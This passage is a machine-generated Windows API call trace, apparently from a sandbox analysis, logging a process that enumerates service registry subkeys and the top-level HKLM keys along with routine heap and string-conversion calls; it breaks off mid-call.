WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0248.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.792] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0248.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0248.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.792] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0248.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0248.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.792] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0248.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0248.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.793] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0248.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0248.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.793] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0248.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0248.793] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0248.793] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0248.793] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0248.794] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0248.794] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0248.794] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0248.794] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0248.794] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0248.794] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0248.794] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0248.794] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0248.794] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0248.794] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0248.794] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0248.794] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0248.794] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0248.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0248.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0248.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0248.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0248.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0248.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0248.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0248.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0248.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0248.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0248.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0248.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0248.795] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0248.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0248.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0248.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0248.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0248.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0248.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0248.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0248.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0248.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0248.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0248.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0248.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0248.796] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0248.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0248.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0248.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0248.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0248.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0248.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0248.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0248.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0248.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0248.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0248.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0248.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0248.797] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0248.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0248.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0248.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0248.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0248.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0248.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0248.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0248.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0248.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0248.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0248.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0248.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0248.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0248.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0248.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0248.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0248.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0248.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0248.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0248.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0248.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0248.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0248.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0248.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0248.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0248.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0248.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0248.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0248.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0248.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0248.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0248.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0248.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0248.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0248.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0248.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0248.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0248.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0248.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0248.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0248.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0248.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0248.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0248.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0248.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0248.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0248.803] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0248.803] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0248.803] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0248.803] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0248.803] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0248.803] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0248.803] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0248.803] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0248.803] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0248.803] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0248.803] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0248.803] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0248.803] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0248.804] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0248.804] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0248.804] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0248.804] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0248.804] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0248.804] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0248.804] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0248.804] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0248.804] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0248.804] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0248.804] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0248.804] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0248.804] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0248.805] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0248.805] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0248.805] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0248.805] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0248.805] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0248.805] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0248.805] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0248.805] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0248.805] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0248.805] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0248.805] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0248.805] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0248.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0248.806] RegCloseKey (hKey=0x154) returned 0x0 [0248.806] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0248.806] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0248.806] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0248.806] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0248.806] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0248.806] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0248.806] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0248.806] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0248.806] RegCloseKey (hKey=0x80000002) returned 0x0 [0248.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, 